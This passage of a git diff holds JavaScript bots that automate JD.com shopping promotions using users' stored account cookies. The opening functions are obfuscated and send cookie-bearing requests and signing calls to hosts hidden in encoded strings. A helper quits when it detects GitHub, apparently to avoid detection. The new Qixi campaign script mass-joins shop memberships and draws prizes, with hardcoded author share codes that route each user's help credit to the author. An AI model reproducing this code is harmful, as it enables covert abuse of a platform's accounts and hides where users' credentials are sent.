_0x57a1ec={'\x54\x46\x68\x59\x6f':function(_0x3bf920,_0xb95601){return _0x3bf920!==_0xb95601;},'\x75\x63\x76\x6a\x61':_0x219b('‮0'),'\x45\x43\x73\x56\x79':_0x219b('‫1'),'\x4a\x5a\x41\x66\x57':_0x219b('‮2'),'\x48\x51\x43\x64\x46':_0x219b('‫3'),'\x6c\x75\x54\x72\x64':_0x219b('‫4'),'\x6e\x62\x6a\x72\x6f':function(_0x1ae4cf,_0x16a0a7){return _0x1ae4cf===_0x16a0a7;},'\x51\x74\x46\x69\x58':_0x219b('‮5'),'\x4d\x66\x43\x6e\x6f':function(_0x524909,_0xd1e9e6){return _0x524909===_0xd1e9e6;},'\x62\x76\x58\x58\x5a':_0x219b('‮6'),'\x56\x49\x54\x70\x54':function(_0x4fae49){return _0x4fae49();},'\x5a\x79\x6f\x69\x6b':function(_0x21d446,_0x2a69bc){return _0x21d446(_0x2a69bc);},'\x64\x53\x50\x74\x46':function(_0x361710,_0x4e7aec){return _0x361710===_0x4e7aec;},'\x65\x58\x4d\x65\x7a':_0x219b('‫7'),'\x65\x57\x64\x52\x65':_0x219b('‮8'),'\x45\x53\x75\x79\x6a':_0x219b('‫9'),'\x53\x45\x59\x7a\x5a':_0x219b('‫a'),'\x49\x43\x54\x50\x66':_0x219b('‮b'),'\x4c\x61\x4d\x63\x6e':function(_0x4511c8,_0x436c7f){return _0x4511c8(_0x436c7f);},'\x66\x49\x59\x71\x6c':_0x219b('‫c')};let _0x43735d={'\x75\x72\x6c':_0x219b('‮d')+_0x57a1ec[_0x219b('‮e')](encodeURIComponent,JSON[_0x219b('‫f')](_0x427ea7))+_0x219b('‫10'),'\x68\x65\x61\x64\x65\x72\x73':{'\x48\x6f\x73\x74':_0x57a1ec[_0x219b('‮11')],'\x41\x63\x63\x65\x70\x74':_0x57a1ec[_0x219b('‫12')],'\x43\x6f\x6e\x6e\x65\x63\x74\x69\x6f\x6e':_0x57a1ec[_0x219b('‮13')],'\x43\x6f\x6f\x6b\x69\x65':cookie,'User-Agent':_0x219b('‫14')+$[_0x219b('‫15')]+_0x219b('‮16')+$[_0x219b('‫17')]+_0x219b('‮18'),'Accept-Language':_0x57a1ec[_0x219b('‫19')],'\x52\x65\x66\x65\x72\x65\x72':_0x219b('‫1a')+_0xd8a74+_0x219b('‫1b')+_0x57a1ec[_0x219b('‫1c')](encodeURIComponent,$[_0x219b('‮1d')]),'Accept-Encoding':_0x57a1ec[_0x219b('‮1e')]}};return new Promise(_0x4d8528=>{var _0x4a857c={'\x44\x59\x75\x71\x67':function(_0x1cc541,_0x551ac5){return _0x57a1ec[_0x219b('‮e')](_0x1cc541,_0x551ac5);}};if(_0x57a1ec[_0x219b('‫1f')](_0x57a1ec[_0x219b('‫20')],_0x57a1ec[_0x219b('‫20')])){$[_0x219b('‮21')](_0x43735d,(_0x42bd53,_0xba57c8,_0x114bc1)=>{try{if(_0x42bd53){if(_0x57a1ec[_0x219b('‮22')](_0x57a1ec[_0x219b('‮23')],_0x57a1ec[_0x219b('‮24')])){console[_0x219b('‫25')](_0x42bd53);}else{res=JSON[_0x219b('‮26')](_0x114bc1);if(res[_0x219b('‫27')]){if(res[_0x219b('‫28')][_0x219b('‮29')]){$[_0x219b('‮2a')]=res[_0x219b('‫28')][_0x219b('‮29')][0x0][_0x219b('‫2b')][_0x219b('‫2c')];}}}}else{if(_0x57a1ec[_0x219b('‮22')](_0x57a1ec[_0x219b('‫2d')],_0x57a1ec[_0x219b('‮2e')])){res=JSON[_0x219b('‮26')](_0x114bc1);if(res[_0x219b('‫27')]){if(res[_0x219b('‫28')][_0x219b('‮29')]){if(_0x57a1ec[_0x219b('‮22')](_0x57a1ec[_0x219b('‮2f')],_0x57a1ec[_0x219b('‮2f')])){res=JSON[_0x219b('‮26')](_0x114bc1);if(res[_0x219b('‫27')]){console[_0x219b('‫25')](res);$[_0x219b('‮30')]=res[_0x219b('‮31')];}}else{$[_0x219b('‮2a')]=res[_0x219b('‫28')][_0x219b('‮29')][0x0][_0x219b('‫2b')][_0x219b('‫2c')];}}}}else{$[_0x219b('‮2a')]=res[_0x219b('‫28')][_0x219b('‮29')][0x0][_0x219b('‫2b')][_0x219b('‫2c')];}}}catch(_0x435943){if(_0x57a1ec[_0x219b('‮32')](_0x57a1ec[_0x219b('‮33')],_0x57a1ec[_0x219b('‮33')])){console[_0x219b('‫25')](_0x435943);}else{_0x4a857c[_0x219b('‮34')](_0x4d8528,_0x114bc1);}}finally{if(_0x57a1ec[_0x219b('‫35')](_0x57a1ec[_0x219b('‮36')],_0x57a1ec[_0x219b('‮36')])){_0x57a1ec[_0x219b('‮37')](_0x4d8528);}else{if(res[_0x219b('‫28')][_0x219b('‮29')]){$[_0x219b('‮2a')]=res[_0x219b('‫28')][_0x219b('‮29')][0x0][_0x219b('‫2b')][_0x219b('‫2c')];}}}});}else{console[_0x219b('‫25')](err);}});}async function bindWithVender(_0x6a4f96,_0x2eb643){var _0x5c8438={'\x48\x59\x47\x66\x70':function(_0x343f54,_0x48d0e2){return _0x343f54===_0x48d0e2;},'\x4b\x53\x44\x54\x4a':_0x219b('‫38'),'\x79\x6a\x7a\x42\x46':function(_0x3b41cd,_0x4dfdef){return _0x3b41cd===_0x4dfdef;},'\x56\x43\x49\x4c\x59':_0x219b('‫39'),'\x5a\x66\x64\x58\x6f':_0x219b('‫3a'),'\x6d\x46\x69\x67\x6e':function(_0xb6e3d8,_0x23686f){return _0xb6e3d8===_0x23686f;},'\x7a\x74\x63\x78\x63':_0x219b('‫3b'),'\x48\x54\x41\x44\x44':function(_0xb2175d){return _0xb2175d();},'\x53\x67\x6d\x58\x56':function(_0x5c652b,_0x377eb0,_0x40b9c8){return _0x5c652b(_0x377eb0,_0x40b9c8);},'\x66\x6e\x41\x6b\x69':_0x219b('‫3c'),'\x6c\x64\x51\x6f\x6d':_0x219b('‮8'),'\x4d\x4a\x52\x70\x47':_0x219b('‫9'),'\x4d\x43\x68\x4a\x56':_0x219b('‫a'),'\x58\x69\x4a\x72\x57':_0x219b('‮b'),'\x6b\x4a\x62\x63\x68':function(_0x43c66b,_0x13d811){return _0x43c66b(_0x13d811);},'\x77\x49\x6a\x61\x4d':_0x219b('‫c')};return h5st=await _0x5c8438[_0x219b('‫3d')](geth5st,_0x5c8438[_0x219b('‫3e')],_0x6a4f96),opt={'\x75\x72\x6c':_0x219b('‮3f')+h5st,'\x68\x65\x61\x64\x65\x72\x73':{'\x48\x6f\x73\x74':_0x5c8438[_0x219b('‮40')],'\x41\x63\x63\x65\x70\x74':_0x5c8438[_0x219b('‮41')],'\x43\x6f\x6e\x6e\x65\x63\x74\x69\x6f\x6e':_0x5c8438[_0x219b('‫42')],'\x43\x6f\x6f\x6b\x69\x65':cookie,'User-Agent':_0x219b('‫14')+$[_0x219b('‫15')]+_0x219b('‮16')+$[_0x219b('‫17')]+_0x219b('‮18'),'Accept-Language':_0x5c8438[_0x219b('‮43')],'\x52\x65\x66\x65\x72\x65\x72':_0x219b('‫1a')+_0x2eb643+_0x219b('‮44')+_0x5c8438[_0x219b('‫45')](encodeURIComponent,$[_0x219b('‮1d')]),'Accept-Encoding':_0x5c8438[_0x219b('‫46')]}},new Promise(_0x215897=>{$[_0x219b('‮21')](opt,(_0x52284b,_0x327a7e,_0x1bb051)=>{try{if(_0x52284b){if(_0x5c8438[_0x219b('‫47')](_0x5c8438[_0x219b('‫48')],_0x5c8438[_0x219b('‫48')])){console[_0x219b('‫25')](_0x52284b);}else{console[_0x219b('‫25')](error);}}else{if(_0x5c8438[_0x219b('‮49')](_0x5c8438[_0x219b('‮4a')],_0x5c8438[_0x219b('‫4b')])){console[_0x219b('‫25')](res);$[_0x219b('‮30')]=res[_0x219b('‮31')];}else{res=JSON[_0x219b('‮26')](_0x1bb051);if(res[_0x219b('‫27')]){console[_0x219b('‫25')](res);$[_0x219b('‮30')]=res[_0x219b('‮31')];}}}}catch(_0x55bfed){if(_0x5c8438[_0x219b('‮4c')](_0x5c8438[_0x219b('‮4d')],_0x5c8438[_0x219b('‮4d')])){console[_0x219b('‫25')](_0x55bfed);}else{if(_0x52284b){console[_0x219b('‫25')](_0x52284b);}else{res=JSON[_0x219b('‮26')](_0x1bb051);if(res[_0x219b('‫27')]){console[_0x219b('‫25')](res);$[_0x219b('‮30')]=res[_0x219b('‮31')];}}}}finally{_0x5c8438[_0x219b('‮4e')](_0x215897);}});});}function geth5st(_0x1103d7,_0x586621){var _0x430883={'\x51\x54\x44\x47\x56':function(_0x1e7d03){return _0x1e7d03();},'\x55\x66\x63\x6b\x66':function(_0x5ab017,_0x2b8838){return _0x5ab017*_0x2b8838;},'\x77\x47\x79\x73\x6d':function(_0x5935c8,_0x185779){return _0x5935c8!==_0x185779;},'\x65\x50\x69\x61\x4e':_0x219b('‫4f'),'\x6a\x65\x65\x6c\x4c':_0x219b('‮50'),'\x75\x55\x62\x72\x6a':function(_0x1a5aa8,_0x52ae2c){return _0x1a5aa8===_0x52ae2c;},'\x67\x44\x42\x75\x58':_0x219b('‫51'),'\x6f\x54\x41\x6e\x4b':_0x219b('‫52'),'\x62\x76\x78\x6e\x42':function(_0xa50297,_0x6b8ce2){return _0xa50297(_0x6b8ce2);},'\x48\x52\x45\x63\x64':_0x219b('‮53'),'\x75\x7a\x72\x61\x4e':_0x219b('‮54'),'\x48\x4f\x70\x44\x51':_0x219b('‫55'),'\x6c\x73\x6b\x70\x45':_0x219b('‮56'),'\x68\x4b\x79\x4e\x43':_0x219b('‮57'),'\x51\x6d\x4f\x72\x54':_0x219b('‫58'),'\x75\x42\x74\x6e\x47':_0x219b('‮59'),'\x6b\x59\x50\x46\x52':_0x219b('‮5a')};return new Promise(async _0x255c7d=>{var _0x373d32={'\x73\x55\x46\x44\x4e':function(_0x16c255){return _0x430883[_0x219b('‫5b')](_0x16c255);},'\x45\x47\x68\x47\x77':function(_0x2bd73b,_0xef9125){return _0x430883[_0x219b('‮5c')](_0x2bd73b,_0xef9125);},'\x72\x56\x55\x6c\x59':function(_0x3d06bf,_0x4e3e01){return _0x430883[_0x219b('‫5d')](_0x3d06bf,_0x4e3e01);},'\x57\x45\x75\x42\x52':_0x430883[_0x219b('‮5e')],'\x71\x66\x47\x4c\x74':_0x430883[_0x219b('‫5f')],'\x52\x44\x76\x57\x6b':function(_0xd1e750,_0x1d575d){return _0x430883[_0x219b('‫60')](_0xd1e750,_0x1d575d);},'\x61\x53\x65\x47\x43':_0x430883[_0x219b('‮61')],'\x77\x53\x4e\x50\x77':_0x430883[_0x219b('‮62')],'\x73\x76\x6a\x4b\x48':function(_0x2a1cfb,_0x46f22f){return _0x430883[_0x219b('‮63')](_0x2a1cfb,_0x46f22f);}};if(_0x430883[_0x219b('‫5d')](_0x430883[_0x219b('‮64')],_0x430883[_0x219b('‮64')])){$[_0x219b('‫65')](e,resp);}else{let _0x30ff4={'\x61\x70\x70\x49\x64':_0x430883[_0x219b('‮66')],'\x62\x6f\x64\x79':{'\x61\x70\x70\x69\x64':_0x430883[_0x219b('‮67')],'\x66\x75\x6e\x63\x74\x69\x6f\x6e\x49\x64':_0x1103d7,'\x62\x6f\x64\x79':JSON[_0x219b('‫f')](_0x586621),'\x63\x6c\x69\x65\x6e\x74\x56\x65\x72\x73\x69\x6f\x6e':_0x430883[_0x219b('‫68')],'\x63\x6c\x69\x65\x6e\x74':'\x48\x35','\x61\x63\x74\x69\x76\x69\x74\x79\x49\x64':$[_0x219b('‫2c')]},'\x63\x61\x6c\x6c\x62\x61\x63\x6b\x41\x6c\x6c':!![]};let _0x2be600='';let _0xb852e3=[_0x430883[_0x219b('‮69')]];if(process[_0x219b('‫6a')][_0x219b('‮6b')]){if(_0x430883[_0x219b('‫60')](_0x430883[_0x219b('‮6c')],_0x430883[_0x219b('‫6d')])){_0x373d32[_0x219b('‮6e')](_0x255c7d);}else{_0x2be600=process[_0x219b('‫6a')][_0x219b('‮6b')];}}else{_0x2be600=_0xb852e3[Math[_0x219b('‫6f')](_0x430883[_0x219b('‮5c')](Math[_0x219b('‮70')](),_0xb852e3[_0x219b('‫71')]))];}let _0x1ba80c={'\x75\x72\x6c':_0x219b('‮72'),'\x62\x6f\x64\x79':JSON[_0x219b('‫f')](_0x30ff4),'\x68\x65\x61\x64\x65\x72\x73':{'\x48\x6f\x73\x74':_0x2be600,'Content-Type':_0x430883[_0x219b('‫73')]},'\x74\x69\x6d\x65\x6f\x75\x74':_0x430883[_0x219b('‮5c')](0x1e,0x3e8)};$[_0x219b('‫74')](_0x1ba80c,async(_0x46941b,_0x74988f,_0x30ff4)=>{try{if(_0x46941b){if(_0x373d32[_0x219b('‮75')](_0x373d32[_0x219b('‮76')],_0x373d32[_0x219b('‫77')])){_0x30ff4=await geth5st[_0x219b('‮78')](this,arguments);}else{_0x2be600=_0xb852e3[Math[_0x219b('‫6f')](_0x373d32[_0x219b('‮79')](Math[_0x219b('‮70')](),_0xb852e3[_0x219b('‫71')]))];}}else{}}catch(_0x290dbf){$[_0x219b('‫65')](_0x290dbf,_0x74988f);}finally{if(_0x373d32[_0x219b('‫7a')](_0x373d32[_0x219b('‫7b')],_0x373d32[_0x219b('‮7c')])){_0x2be600=process[_0x219b('‫6a')][_0x219b('‮6b')];}else{_0x373d32[_0x219b('‮7d')](_0x255c7d,_0x30ff4);}}});}});};_0xod2='jsjiami.com.v6'; +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/jd_lzdz1_customized2a.js b/jd_lzdz1_customized2a.js new file mode 100644 index 0000000..25a9036 --- /dev/null +++ b/jd_lzdz1_customized2a.js @@ -0,0 +1,541 @@ +/* +甜蜜七夕 跨越时空中意你 +*/ +const $ = new Env("甜蜜七夕 跨越时空中意你"); +const jdCookieNode = $.isNode() ? require("./jdCookie.js") : ""; +const notify = $.isNode() ? require("./sendNotify") : ""; +let cookiesArr = [], cookie = "", message = ""; +let ownCode = null; +let authorCodeList = []; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]); + }); + if (process.env.JD_DEBUG && process.env.JD_DEBUG === "false") console.log = () => {}; +} else { + let cookiesData = $.getdata("CookiesJD") || "[]"; + cookiesData = JSON.parse(cookiesData); + cookiesArr = cookiesData.map((item) => item.cookie); + cookiesArr.reverse(); + cookiesArr.push(...[$.getdata("CookieJD2"), $.getdata("CookieJD")]); + cookiesArr.reverse(); + cookiesArr = cookiesArr.filter((item) => !!item); +} +!(async () => { + $.getAuthorCodeListerr = false; + if (!cookiesArr[0]) { + $.msg($.name, "【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取", "https://bean.m.jd.com/bean/signIndex.action", { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + return; + } + // authorCodeList = await getAuthorCodeList('https://gitee.com/fatelight/Code/raw/master/lzdz3.json') + // if ($.getAuthorCodeListerr === false) { + // authorCodeList = [ + // '086dd4c612be4636871b79f34faf5dc2', + // ] + // } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + originCookie = cookiesArr[i]; + newCookie = ""; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=(.+?);/) && cookie.match(/pt_pin=(.+?);/)[1]); + $.index = i + 1; + $.isLogin = true; + $.nickName = ""; + await checkCookie(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + // if ($.isNode()) { + // await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + // } + continue; + } + $.bean = 0; + $.ADID = getUUID("xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx", 1); + $.UUID = getUUID("xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"); + authorCodeList = [ + "9b73221930c745cb85f6c47652bd4d05", + "9d4dd82831a543a4aca2fd62f7dd286d", + "1a44e6003c6e4e00a0edc7d3efa01384", + ]; + // $.authorCode = authorCodeList[random(0, authorCodeList.length)]; + $.authorCode = ownCode ? ownCode : authorCodeList[random(0, authorCodeList.length)] + $.authorNum = `${random(1000000, 9999999)}`; + $.randomCode = random(1000000, 9999999); + $.activityId = "dz3bb5f3ac4d64b3dad317e42bccb4"; + $.activityShopId = "1000002558"; + $.activityUrl = `https://lzdz1-isv.isvjcloud.com/dingzhi/jul/qixiFirst/activity/${$.authorNum}?activityId=${$.activityId}&shareUuid=${encodeURIComponent($.authorCode)}&adsource=null&shareuserid4minipg=${encodeURIComponent($.secretPin)}&shopid=${$.activityShopId}&sid=&un_area=`; + await member(); + // await $.wait(1000); + if ($.bean > 0) { + message += `\n【京东账号${$.index}】${$.nickName || $.UserName} \n └ 获得 ${$.bean} 京豆。`; + } + } + } + if (message !== "") { + if ($.isNode()) { + await notify.sendNotify($.name, message, "", `\n`); + } else { + $.msg($.name, "有点儿收获", message); + } + } +})() + .catch((e) => { + $.log("", `❌ ${$.name}, 失败! 原因: ${e}!`, ""); + }) + .finally(() => { + $.done(); + }); + +async function member() { + $.token = null; + $.secretPin = null; + $.openCardActivityId = null; + lz_cookie = {}; + await getFirstLZCK(); + await getToken(); + await task("dz/common/getSimpleActInfoVo", `activityId=${$.activityId}`, 1); + if ($.token) { + await getMyPing(); + if ($.secretPin) { + console.log("去助力 -> " + $.authorCode); + await taskaccessLog("common/accessLogWithAD", `venderId=${$.activityShopId}&code=99&pin=${encodeURIComponent($.secretPin)}&activityId=${$.activityId}&pageUrl=${$.activityUrl}&subType=app&adSource=null`, 1); + // await task("wxActionCommon/getUserInfo", `pin=${encodeURIComponent($.secretPin)}`, 1); + // console.log($.cookie) + await task("jul/qixiFirst/activityContent", `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}&pinImg=&nick=${encodeURIComponent($.pin)}&shareUuid=${encodeURIComponent($.authorCode)}`); + $.log("关注店铺"); + await task("jul/qixiFirst/saveTask", `activityId=${$.activityId}&actorUuid=${$.actorUuid}&pin=${encodeURIComponent($.secretPin)}&taskType=23&taskValue=&shareUuid=${encodeURIComponent($.authorCode)}`); + await $.wait(1000); + await task("jul/qixiFirst/saveTask", `activityId=${$.activityId}&actorUuid=${$.actorUuid}&pin=${encodeURIComponent($.secretPin)}&taskType=6&taskValue=6&shareUuid=${encodeURIComponent($.authorCode)}`); + await $.wait(1000); + await task("taskact/common/drawContent", `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}`); + await $.wait(1000); + await task("jul/qixiFirst/initOpenCard", `pin=${encodeURIComponent($.secretPin)}&activityId=${$.activityId}&shareUuid=${encodeURIComponent($.authorCode)}`); + $.log("加入店铺会员"); + if ($.openCardList) { + for (const vo of $.openCardList) { + // console.log(vo) + $.log(`>>> 去加入 ${vo.venderId}`); + if (vo.openStatus === false) { + await getShopOpenCardInfo({ venderId: `${vo.venderId}`, channel: "401" }, vo.venderId); + await bindWithVender({ venderId: `${vo.venderId}`, bindByVerifyCodeFlag: 1, registerExtend: {}, writeChildFlag: 0, activityId: $.openCardActivityId, channel: 401 }, vo.venderId); + // await $.wait(1000); + } else { + $.log(`>>> 已经是会员`); + } + } + } else { + $.log("没有获取到对应的任务。\n"); + } + await task("jul/qixiFirst/initOpenCard", `pin=${encodeURIComponent($.secretPin)}&activityId=${$.activityId}&shareUuid=${encodeURIComponent($.authorCode)}`); + // console.log("去助力 -> " + $.authorCode); + // await task("linkgame/assist/status", `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}&shareUuid=${$.authorCode}`); + // await task("linkgame/assist", `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}&shareUuid=${$.authorCode}`); + await $.wait(1000); + await task("jul/qixiFirst/draw", `pin=${encodeURIComponent($.secretPin)}&activityId=${$.activityId}`); + // await task('linkgame/help/list', `pin=${encodeURIComponent($.secretPin)}&activityId=${$.activityId}`) + + // await task('linkgame/task/info', `pin=${encodeURIComponent($.secretPin)}&activityId=${$.activityId}`) + // console.log('任务 -> ') + // await $.wait(2000) + // await task('opencard/addCart', `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}`); + // await $.wait(2000) + // await task('linkgame/sendAllCoupon', `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}`); + // await getFirstLZCK() + // await getToken(); + // console.log('抽奖 -> ') + // await $.wait(2000) + // await task('linkgame/draw', `activityId=${$.activityId}&actorUuid=${$.actorUuid}&pin=${encodeURIComponent($.secretPin)}`); + // console.log('100 -> ') + // await getFirstLZCK() + // await getToken(); + // await $.wait(2000) + // await task('linkgame/draw/record', `activityId=${$.activityId}&actorUuid=${$.actorUuid}&pin=${encodeURIComponent($.secretPin)}`); + } + } +} + +function task(function_id, body, isCommon = 0, own = 0) { + return new Promise((resolve) => { + $.post(taskUrl(function_id, body, isCommon), async (err, resp, data) => { + try { + if (err) { + $.log(err); + } else { + if (data) { + data = JSON.parse(data); + if (data.result) { + switch (function_id) { + case "dz/common/getSimpleActInfoVo": + $.jdActivityId = data.data.jdActivityId; + $.venderId = data.data.venderId; + $.activityType = data.data.activityType; + // console.log($.venderId) + break; + case "wxActionCommon/getUserInfo": + break; + 